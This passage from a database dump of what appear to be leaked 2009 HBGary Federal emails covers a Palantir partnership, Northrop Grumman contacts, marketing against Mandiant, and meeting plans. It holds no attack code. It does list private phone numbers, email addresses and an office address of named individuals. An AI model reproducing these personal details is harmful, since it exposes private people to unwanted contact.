[mailto:aaron@hbgary.com] \r\nSent: Monday, November 30, 2009 10:45 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Palantir\r\n\r\n200.  25 in DC (that is the number I had remembered) and 175 in  \r\nCalifornia.\r\n\r\n\r\nOn Nov 30, 2009, at 10:42 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n>  many employees in total?  The other Thompson in your later email\r\n> was correct.\r\n\r\n',10530,'aaron_hbgary_com/10530.html'),(205,'2009-12-01','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999704.M405307P3547Q205.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Why now bullets...','Thanks Ted! Could you explain a bit more re facility clearance -- is this relating to the classified support we discussed today? What will it allow us to do? Best, K--- On Mon, 11/30/09, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Subject: Why now bullets...To: karenmaryburke@yahoo.comCc: \"Barr Aaron\" &lt;aaron@hbgary.com&gt;Date: Monday, November 30, 2009, 7:30 PM\r\nHi Karen,\r\n\r\nHere are some \"why now\" bullets, and some draft narrative for your review.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nWhy Now?\r\n\r\n\r\nCorporate Reasons\r\n\r\nProducts are mature\r\nGrowing gov\'t customer base\r\nSales are good ($ in the bank)\r\nLack a facility clearance\r\nClearance will allow broader/deeper penetration into Gov\'t market\r\nEnvironment / Market Reasons\r\n\r\nCybersecurity is national priority\r\nIncreased IO mission requirements\r\n\r\nincreased use by adversaries\r\ncyber command\r\nCERTs\r\nIO Range\r\nIncreased threats -- malware isn\'t going away\r\nInformation economy, protecting IP, national secrets, etc\r\nCompetition\r\n\r\nThere are significant gaps in capabilities\r\nIncreased trends towards small business set-asides for competitive bids\r\n\r\nOver the last year, HBGary Inc, has evolved its product line from a traditionally forensics-based capability to an enterprise malware analysis and incident response capability.&nbsp; The government is in desparate need for advanced cybersecurity technology utilized in the hands of trained experts.&nbsp; HBGary Federal will provide the trained subject matter experts that can most effectively leverage these tools to satisfy mission requirements.\r\nCybersecurity is a national priority due to the significant gaps in capability to counter increasingly advanced threats.&nbsp; Dated technologies, such as signature based malware detection tools, IDS, and Firewalls continue as the mainstay in security for most organizations.&nbsp; What is needed is behavior and characteristic based technologies such as, HBGarys Nexus platform that can recognize new threats as they appear and automate operational impact analysis and incident response.&nbsp; HBGary Federal will leverage these capabilities in services offerings to its customers to meet the unique needs of DOD and IC customers and their extremely dynamic classified mission requirements.Asymetric cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; There is a strong need for agile organizations that can move at the speed of business and understand the cultural,\r\n operational, and technical aspects of conducting information operations campaigns in a net-centric environment.-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',12604,'aaron_hbgary_com/12604.html'),(206,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999704.M709345P3547Q206.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Palantir','I think that was one of Gregs good days to so we will shoot for Tuesday.\r\n\r\nAs to the PR, it will definitely create a stir.  My take is once it  \r\ngets out there, marrying the darlings of Link Analysis with one of the  \r\nbest Malware analysis companies, adding the trained experts in cyber  \r\noperational capabilities.  Worded correctly this will be a huge splash  \r\nand IS will be caught with is TU/NCR pants down around its ankles.\r\n\r\nIn the end I don\'t think there is a negative for you guys...what do  \r\nthey say...all press is good press?  Ok maybe not in the security  \r\nfield.  I am really excited about this as well.\r\n\r\nAaron\r\n\r\n\r\nOn Nov 30, 2009, at 10:49 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> No kidding.  That many people.  Wow.  Was not expecting that number of\r\n> people.\r\n>\r\n> Sent your email to Martin with a summary of today\'s meeting.  Will let\r\n> you know what he says.  I expect it to be full speed ahead.  Asked who\r\n> our NGES MARCOM is so we could be included in the press release.  But,\r\n> we may not want to do it at first because of NGIS.  Martin\'s call on\r\n> that.  If we are included, I would think NGIS would descend on us.   \r\n> Just\r\n> not sure if it would be in a good way or bad way.  I am sure\r\n> Millersville will send the assassins out for our heads.\r\n>\r\n> So, what is the implication of Bill Luti\'s interest?\r\n>\r\n> Tuesday is, by far, my best day next week for a meeting.\r\n>\r\n> Brian\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, November 30, 2009 10:45 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: Palantir\r\n>\r\n> 200.  25 in DC (that is the number I had remembered) and 175 in\r\n> California.\r\n>\r\n>\r\n> On Nov 30, 2009, at 10:42 PM, Masterson, Brian (Xetron) wrote:\r\n>\r\n>> many employees in total?  The other Thompson in your later email\r\n>> was correct.\r\n>\r\n\r\n',13067,'aaron_hbgary_com/13067.html'),(207,'2009-12-01','ted@hbgary.com','/aaron@hbgary.com/new/1296999704.M911118P3547Q207.eml','aaron@hbgary.com','HBGary Messaging','I\'ve shared a document with you:\r\n\r\nHBGary Messaging\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0Abu9N_XVzxNhZHFuNjV3dF8xNGNnenhjbWZx&hl=en&invite=CNKxipoG\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\nGreg wants us to start thinking about the current HB Gary messaging on our  \r\nwebsite and brainstorm new ideas that will help focus our efforts over the  \r\nnext two years.\r\n',10426,'aaron_hbgary_com/10426.html'),(208,'2009-12-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999705.M266298P3547Q209.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Check these guys out.','http://www.endgamesystems.com/This is the company I told you that Greg mentioned regarding botnets.-- Ted H. VeraPresident | COO\r\nHBGary Federal, Inc.719-237-8623\r\n\r\n',5246,'aaron_hbgary_com/5246.html'),(209,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999705.M467567P3547Q210.eml','\"Luti, William\" <William.Luti@ngc.com>,\"Luti, William\" <William.Luti@ngc.com>','Re: Status','Hi Bill,Any time you want to talk just let me know.I am very excited about HBGarys capabilities in malware analysis and incident response. &nbsp;Their new product suite is the closest I have seen to being able to identify and counter the zero day threat. &nbsp;My first meeting in my new position was with Palantir today to discuss the strength of an HBGary/Palantir combined capability. &nbsp;I believe marrying HBGary\'s strong malware analysis and fingerprinting capabilities with Palantirs link analysis capabilities could produce a joined capability that can make some headway towards attribution. &nbsp;HBGary Federal will focus on building a core of highly trained and talented analysts that can leverage these tools to their fullest potential.In addition HBGary Federal will start to build services and solutions business in the information operations arena. &nbsp;Being the CEO of a small organization affords me certain latitudes to develop capabilities and operate in certain ways that the larger defense contractors would not touch for risk reasons. &nbsp;Small companies with well known capabilities are also attractive grounds for a category of highly talented people that tend to shy away from the larger organizations. &nbsp;Ted and I are good at building these types of teams.I think in these few areas as a first cut HBGary could be a valuable asset to a company like Northrop.V/R,Aaron BarrCEOHBGary Federal Inc.719.510.i478On Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:  Aaron -  I\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at HBGary. Bill was very interested and asked for contact information. So here you go.  My great hope is that by working together, NGC and HBGary, we can do much more than we could do apart. And that together we can provide breakthrough national security enhancements.  Good luck.  Tom      ',6382,'aaron_hbgary_com/6382.html'),(210,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999705.M688242P3547Q211.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Palantir','One more thing to add some fuel to it.  Once we get all this put  \r\ntogether I would like to hold a co-sponsored summit on Attribution.   \r\nYou could pull Tom, Rich, Bill Studeman.  I can get Melissa Hathaway,  \r\nArt Money, some folks from the legislative branch.  We could also get  \r\nthe security leads from the various companies; Bob Geisler, Gen.  \r\nCroom, Barbara Fast, Sam Visner, etc.  It could be huge.  That would  \r\nreally make a splash.\r\n\r\nAaron\r\n\r\n\r\nOn Nov 30, 2009, at 10:49 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> No kidding.  That many people.  Wow.  Was not expecting that number of\r\n> people.\r\n>\r\n> Sent your email to Martin with a summary of today\'s meeting.  Will let\r\n> you know what he says.  I expect it to be full speed ahead.  Asked who\r\n> our NGES MARCOM is so we could be included in the press release.  But,\r\n> we may not want to do it at first because of NGIS.  Martin\'s call on\r\n> that.  If we are included, I would think NGIS would descend on us.   \r\n> Just\r\n> not sure if it would be in a good way or bad way.  I am sure\r\n> Millersville will send the assassins out for our heads.\r\n>\r\n> So, what is the implication of Bill Luti\'s interest?\r\n>\r\n> Tuesday is, by far, my best day next week for a meeting.\r\n>\r\n> Brian\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, November 30, 2009 10:45 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: Palantir\r\n>\r\n> 200.  25 in DC (that is the number I had remembered) and 175 in\r\n> California.\r\n>\r\n>\r\n> On Nov 30, 2009, at 10:42 PM, Masterson, Brian (Xetron) wrote:\r\n>\r\n>> many employees in total?  The other Thompson in your later email\r\n>> was correct.\r\n>\r\n\r\n',14049,'aaron_hbgary_com/14049.html'),(211,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999705.M87148P3547Q208.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: HBGary Overview','Greg,We had a great meeting today with the Palantir folks and Northrop Grumman Xetron. &nbsp;All parties definitely see a huge advantage to leveraging the two product suites with a service based organization that can put trained analysts in customer spaces. &nbsp;The press release for this would create a big splash. &nbsp;Palantir is currently the darling in the IC for link analysis, married with the strongest malware analysis capability and strong technical operations support - big splash. &nbsp;And we would get to talk about countering the APT and making progress on Attribution.So next steps I am going to set up a 2-3 hour session next week, hopefully Tuesday if it works with your schedule, with the same crowd and you. &nbsp;I would like you to give a capabilities and product presentation, Palantir will do the same. &nbsp;That should take about an hour and a half. &nbsp;Then I would like to take another hour to hour and a half to brainstorm. &nbsp;I think you are really going to enjoy this exchange.Also whenever works next week I would like to sit down and talk about a list of items (I will have them prepared by the session) to discuss. &nbsp;Everything from the finer points of the direction of the HBGary product line to gaps in capabilities such as persistent misattribution for internet operations. &nbsp;I think 3 hours should be enough, fit it in where you have an opening.Thirdly, I would like to schedule a visit with the Mantech folks.&nbsp;I know Mon,Tues, Fri are the open spots right now, any time will work?AaronOn Nov 30, 2009, at 10:45 PM, Greg Hoglund wrote:Its on my other laptop, send it in the morning... &nbsp; -Greg On Mon, Nov 30, 2009 at 1:58 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote: Hi Bob / Greg,  Do you have a HBGary company overview / capabilities presentation? &nbsp;Aaron and I are creating one for HBGary Federal and if you have one it would be useful as a template.  Thanks, Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623',2395,'aaron_hbgary_com/2395.html'),(212,'2009-12-01','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1296999705.M873064P3547Q212.eml','aaron@hbgary.com','Re: Status','\r\nWhat is your new office location and phone Aaron? And is Ted moving east or are you moving west?  \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Luti, WilliamCc: Conroy, Thomas W.Sent: Tue Dec 01 00:08:57 2009Subject: Re: Status\r\nHi Bill,Any time you want to talk just let me know.I am very excited about HBGarys capabilities in malware analysis and incident response. &nbsp;Their new product suite is the closest I have seen to being able to identify and counter the zero day threat. &nbsp;My first meeting in my new position was with Palantir today to discuss the strength of an HBGary/Palantir combined capability. &nbsp;I believe marrying HBGary\'s strong malware analysis and fingerprinting capabilities with Palantirs link analysis capabilities could produce a joined capability that can make some headway towards attribution. &nbsp;HBGary Federal will focus on building a core of highly trained and talented analysts that can leverage these tools to their fullest potential.In addition HBGary Federal will start to build services and solutions business in the information operations arena. &nbsp;Being the CEO of a small organization affords me certain latitudes to develop capabilities and operate in certain ways that the larger defense contractors would not touch for risk reasons. &nbsp;Small companies with well known capabilities are also attractive grounds for a category of highly talented people that tend to shy away from the larger organizations. &nbsp;Ted and I are good at building these types of teams.I think in these few areas as a first cut HBGary could be a valuable asset to a company like Northrop.V/R,Aaron BarrCEOHBGary Federal Inc.719.510.i478On Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:  Aaron -  I\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at HBGary. Bill was very interested and asked for contact information. So here you go.  My great hope is that by working together, NGC and HBGary, we can do much more than we could do apart. And that together we can provide breakthrough national security enhancements.  Good luck.  Tom      ',15254,'aaron_hbgary_com/15254.html'),(213,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999706.M337513P3547Q213.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Status','Good Morning Tom.Office is 6701 Democracy Blvd, Suite 300, Bathesda MDPhone: 301-652-8885 x117We are going to stay put. &nbsp;Ted will build a team out there and I will build a team here, that way we can provide local support when needed, have a larger DC presence, but also have a lower cost pool and attractive area for talent in Colorado. &nbsp;That team can also focus on work at Peterson as well as the work down in San Antonio to start.AaronOn Dec 1, 2009, at 6:35 AM, Conroy, Thomas W. wrote: What is your new office location and phone Aaron? And is Ted moving east or are you moving west?       From: Aaron Barr &lt;aaron@hbgary.com&gt; To: Luti, William Cc: Conroy, Thomas W. Sent: Tue Dec 01 00:08:57 2009Subject: Re: Status  Hi Bill,Any time you want to talk just let me know.I am very excited about HBGarys capabilities in malware analysis and incident response. &nbsp;Their new product suite is the closest I have seen to being able to identify and counter the zero day threat. &nbsp;My first meeting in my new position was with Palantir today to discuss the strength of an HBGary/Palantir combined capability. &nbsp;I believe marrying HBGary\'s strong malware analysis and fingerprinting capabilities with Palantirs link analysis capabilities could produce a joined capability that can make some headway towards attribution. &nbsp;HBGary Federal will focus on building a core of highly trained and talented analysts that can leverage these tools to their fullest potential.In addition HBGary Federal will start to build services and solutions business in the information operations arena. &nbsp;Being the CEO of a small organization affords me certain latitudes to develop capabilities and operate in certain ways that the larger defense contractors would not touch for risk reasons. &nbsp;Small companies with well known capabilities are also attractive grounds for a category of highly talented people that tend to shy away from the larger organizations. &nbsp;Ted and I are good at building these types of teams.I think in these few areas as a first cut HBGary could be a valuable asset to a company like Northrop.V/R,Aaron BarrCEOHBGary Federal Inc.719.510.i478On Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:  Aaron -  I\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at HBGary. Bill was very interested and asked for contact information. So here you go.  My great hope is that by working together, NGC and HBGary, we can do much more than we could do apart. And that together we can provide breakthrough national security enhancements.  Good luck.  Tom      ',4544,'aaron_hbgary_com/4544.html'),(214,'2009-12-01','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1296999706.M609977P3547Q214.eml','aaron@hbgary.com','Re: Status','\r\nThat\'s cool. You\'re moving closer to my home in Rockville. And for a little bit of ancient history, I graduated from Walter Johnson High School. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Conroy, Thomas W.Sent: Tue Dec 01 05:42:48 2009Subject: Re: Status\r\nGood Morning Tom.Office is 6701 Democracy Blvd, Suite 300, Bathesda MDPhone: 301-652-8885 x117We are going to stay put. &nbsp;Ted will build a team out there and I will build a team here, that way we can provide local support when needed, have a larger DC presence, but also have a lower cost pool and attractive area for talent in Colorado. &nbsp;That team can also focus on work at Peterson as well as the work down in San Antonio to start.AaronOn Dec 1, 2009, at 6:35 AM, Conroy, Thomas W. wrote: What is your new office location and phone Aaron? And is Ted moving east or are you moving west?       From: Aaron Barr &lt;aaron@hbgary.com&gt; To: Luti, William Cc: Conroy, Thomas W. Sent: Tue Dec 01 00:08:57 2009Subject: Re: Status  Hi Bill,Any time you want to talk just let me know.I am very excited about HBGarys capabilities in malware analysis and incident response. &nbsp;Their new product suite is the closest I have seen to being able to identify and counter the zero day threat. &nbsp;My first meeting in my new position was with Palantir today to discuss the strength of an HBGary/Palantir combined capability. &nbsp;I believe marrying HBGary\'s strong malware analysis and fingerprinting capabilities with Palantirs link analysis capabilities could produce a joined capability that can make some headway towards attribution. &nbsp;HBGary Federal will focus on building a core of highly trained and talented analysts that can leverage these tools to their fullest potential.In addition HBGary Federal will start to build services and solutions business in the information operations arena. &nbsp;Being the CEO of a small organization affords me certain latitudes to develop capabilities and operate in certain ways that the larger defense contractors would not touch for risk reasons. &nbsp;Small companies with well known capabilities are also attractive grounds for a category of highly talented people that tend to shy away from the larger organizations. &nbsp;Ted and I are good at building these types of teams.I think in these few areas as a first cut HBGary could be a valuable asset to a company like Northrop.V/R,Aaron BarrCEOHBGary Federal Inc.719.510.i478On Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:  Aaron -  I\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at HBGary. Bill was very interested and asked for contact information. So here you go.  My great hope is that by working together, NGC and HBGary, we can do much more than we could do apart. And that together we can provide breakthrough national security enhancements.  Good luck.  Tom      ',10554,'aaron_hbgary_com/10554.html'),(215,'2009-12-01','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999706.M826265P3547Q215.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir','That\'s a really good idea and would get great press for HBGary.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 5:52 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Palantir\r\n\r\nOne more thing to add some fuel to it.  Once we get all this put  \r\ntogether I would like to hold a co-sponsored summit on Attribution.   \r\nYou could pull Tom, Rich, Bill Studeman.  I can get Melissa Hathaway,  \r\nArt Money, some folks from the legislative branch.  We could also get  \r\nthe security leads from the various companies; Bob Geisler, Gen.  \r\nCroom, Barbara Fast, Sam Visner, etc.  It could be huge.  That would  \r\nreally make a splash.\r\n\r\nAaron\r\n\r\n\r\nOn Nov 30, 2009, at 10:49 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> No kidding.  That many people.  Wow.  Was not expecting that number of\r\n> people.\r\n>\r\n> Sent your email to Martin with a summary of today\'s meeting.  Will let\r\n> you know what he says.  I expect it to be full speed ahead.  Asked who\r\n> our NGES MARCOM is so we could be included in the press release.  But,\r\n> we may not want to do it at first because of NGIS.  Martin\'s call on\r\n> that.  If we are included, I would think NGIS would descend on us.   \r\n> Just\r\n> not sure if it would be in a good way or bad way.  I am sure\r\n> Millersville will send the assassins out for our heads.\r\n>\r\n> So, what is the implication of Bill Luti\'s interest?\r\n>\r\n> Tuesday is, by far, my best day next week for a meeting.\r\n>\r\n> Brian\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, November 30, 2009 10:45 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: Palantir\r\n>\r\n> 200.  25 in DC (that is the number I had remembered) and 175 in\r\n> California.\r\n>\r\n>\r\n> On Nov 30, 2009, at 10:42 PM, Masterson, Brian (Xetron) wrote:\r\n>\r\n>> many employees in total?  The other Thompson in your later email\r\n>> was correct.\r\n>\r\n\r\n',2719,'aaron_hbgary_com/2719.html'),(216,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999707.M39144P3547Q216.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Palantir','Begin forwarded message:From: \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt;Date: December 1, 2009 7:23:05 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Palantir That\'s a really good idea and would get great press for HBGary.Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3543-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, December 01, 2009 5:52 AMTo: Masterson, Brian (Xetron)Subject: Re: PalantirOne more thing to add some fuel to it. &nbsp;Once we get all this put &nbsp;together I would like to hold a co-sponsored summit on Attribution. &nbsp;&nbsp;You could pull Tom, Rich, Bill Studeman. &nbsp;I can get Melissa Hathaway, &nbsp;Art Money, some folks from the legislative branch. &nbsp;We could also get &nbsp;the security leads from the various companies; Bob Geisler, Gen. &nbsp;Croom, Barbara Fast, Sam Visner, etc. &nbsp;It could be huge. &nbsp;That would &nbsp;really make a splash.AaronOn Nov 30, 2009, at 10:49 PM, Masterson, Brian (Xetron) wrote:No kidding. &nbsp;That many people. &nbsp;Wow. &nbsp;Was not expecting that number ofpeople.Sent your email to Martin with a summary of today\'s meeting. &nbsp;Will letyou know what he says. &nbsp;I expect it to be full speed ahead. &nbsp;Asked whoour NGES MARCOM is so we could be included in the press release. &nbsp;But,we may not want to do it at first because of NGIS. &nbsp;Martin\'s call onthat. &nbsp;If we are included, I would think NGIS would descend on us. &nbsp;&nbsp;Justnot sure if it would be in a good way or bad way. &nbsp;I am sureMillersville will send the assassins out for our heads.So, what is the implication of Bill Luti\'s interest?Tuesday is, by far, my best day next week for a meeting.BrianBrian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3543-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Monday, November 30, 2009 10:45 PMTo: Masterson, Brian (Xetron)Subject: Re: Palantir200. &nbsp;25 in DC (that is the number I had remembered) and 175 inCalifornia.On Nov 30, 2009, at 10:42 PM, Masterson, Brian (Xetron) wrote:many employees in total? &nbsp;The other Thompson in your later emailwas correct.',6975,'aaron_hbgary_com/6975.html'),(217,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999707.M940644P3547Q217.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Raytheon','Can we meet early before mtg?\r\n\r\n From my iPhone\r\n\r\nOn Nov 30, 2009, at 5:13 PM, \"Bob Slapnik\"  wrote:\r\n\r\n> Aaron and Ted,\r\n>\r\n>\r\n>\r\n> Last summer Raytheon gave us some money to noodle on hypervisors and\r\n> virtual\r\n> machine security.  They originally framed it as giving us money to\r\n> write\r\n> proposals for them.  As we got bogged down on schedules and costs\r\n> they told\r\n> us not to worry about that because they mainly wanted our tech\r\n> thoughts.\r\n> Attached is what we delivered.\r\n>\r\n>\r\n>\r\n> The two main contacts were Tom Bracewell (703-419-1402 / mobile (703)\r\n> 859-6703 / bracewell@raytheon.com) and Dave Gursky (703-419-1414 /\r\n> dave_m_gursky@raytheon.com)\r\n>\r\n>\r\n>\r\n> I just spoke with Tom.  They might give us IRAD money to develop\r\n> some of\r\n> this stuff.  They are still in the process of putting together next\r\n> year\'s\r\n> priorities.  Tom said he\'d want to meet with you guys after the New\r\n> Year.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n> \r\n',6168,'aaron_hbgary_com/6168.html'),(218,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999708.M375802P3547Q218.eml','\"Penny Hoglund\" <penny@hbgary.com>','Meetings Next Week','Hi Penny,\r\n\r\nBesides the list of suggested meetings I have for next week.  Are  \r\nthere any that you would like me to attend that I am not aware of?\r\n\r\nAaron\r\n',10617,'aaron_hbgary_com/10617.html'),(219,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999708.M908596P3547Q219.eml','john.edwards@agilex.com','Re: Introduction','Hi John,Do you want to try and link up this week or wait until next week when Greg gets into town?AaronOn Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny',14902,'aaron_hbgary_com/14902.html'),(220,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999709.M338928P3547Q221.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,','Re: Market/Business Analysis','We need to unsink their teeth. &nbsp;Passing comment made by Palantir folks yesterday (specifically made by a former government person from IOC), \"It will be nice to have someone else besides just Mandiant\".With the HBGary products, Palantir partnership, and Ted/Aaron success in hiring the right talent for malware analysis/incident response services based contracts - we will get there. &nbsp;A part of the vision is to have HBGary Federal employees working in every major CERT/SOC using HBGary tools. &nbsp;As you mentioned Greg, it needs to be packaged in such away that they can\'t afford not to have it.I think that is where the power of HBGary and HBGary Fed comes in. &nbsp;As it appears to me is the added capability of DDNA and Recon along with the Analysis capabilities of Responder that make it a good fit for the APT and incident response, so won\'t have to neglect or stray from existing customers. &nbsp;Ted and I on the services side will focus on hiring talent that know the APT and the national CERT/SOC environment to use the tools to satisfy those missions.AaronOn Nov 30, 2009, at 1:37 PM, Penny Hoglund wrote:Persistent Threat is something Mandiant has really sunk it’s teeth into.&nbsp; The data sheets tend to be&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;More focused on Forensics and Incident Response2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We want to put forth more Solutions approaches, that discuss how a segment might use product.3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;While DDNA panels are good, they still are in the weeds, not a high level geared toward CISO.&nbsp; This is an area of messaging we need to get more focused on.&nbsp;&nbsp;4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We don’t want to lose our Responder Pro customers, they act as a paid eval for DDNA and the word of mouth on this product is fantastic.&nbsp;&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Sunday, November 29, 2009 10:01 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny Leavy; Ted VeraSubject:&nbsp;Re: Market/Business Analysis&nbsp;Aaron,&nbsp;I think this would be very valuable.&nbsp; I, for one, want to move away from the Forensics messaging entirely.&nbsp; Forensics is a small message, and it has nothing to do with Digital DNA.&nbsp; Malware is the big play, and threat is the big play.&nbsp; I think we have done reasonable well with the Digital DNA part of our messaging, and this is reflected in the three big graphical panels on our frontpage.&nbsp; However, alot of the more detailed messages (data sheets etc) have not been rebranded to such an extent.&nbsp; In terms of addressing persistent threat, our technology _roasts_ Mandiant.&nbsp; However, they have their enteprise solution already in field and we are still looking at Q1 at best for the active defense release.&nbsp; Also, Mandiant is really a service company, not product, as far as I can tell.&nbsp; While HBGary Federal is going to compete more directly with Mandiant, HBGary proper is very product focused.&nbsp; We should work out a new messaging push for next year.&nbsp; 2010 is going to be very big for us.&nbsp;-GregOn Fri, Nov 27, 2009 at 8:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hi Greg/Penny,I hope your thanksgiving was good and full. &nbsp;I am really looking forward to getting together week after next, and coming out west the week after that to get to know the rest of the team.A few questions. &nbsp;I know there has been somewhat of a rebranding effort. &nbsp;What is the vision of the brand of HBGary? &nbsp;Is it incident response for the enterprise? &nbsp;Or does it reside significantly in traditional forensics, law enforcement type capabilities? &nbsp;I was reading through some of the data sheets and see a lot leaning more to the forensics side. &nbsp;Punch line of the questions, would it be worthwhile to have a branding session to discuss the messages you want to convey on the website and on the datasheets. &nbsp;Ted and I can provide the context of what will resonate on the national and federal scene, I am sure both of you have been hearing to some degree many of the same things.Just a thought. &nbsp;As I was starting to do my own laymans competitive analysis through open source research, I notice brands like Mandiant and Fireeye to name a few are focusing on the incident response. &nbsp;Big letters above the fold on main pages, reads \"addressing the advanced persistent threat\", etc.Maybe there is a play between what HBGary and HBGary federal focuses on. &nbsp;Some of the same capabilities, but matter of focus?Aaron&nbsp;',4677,'aaron_hbgary_com/4677.html'),(221,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999709.M626797P3547Q222.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Eagle','Can you set up a meeting with Andy. &nbsp;I would like to talk with him about our vision for HBGary Federal, make introductions, etc. &nbsp;And yes we are interested in the DHS Eagle IT Services contract.AaronOn Nov 30, 2009, at 3:48 PM, Bob Slapnik wrote:Ted and 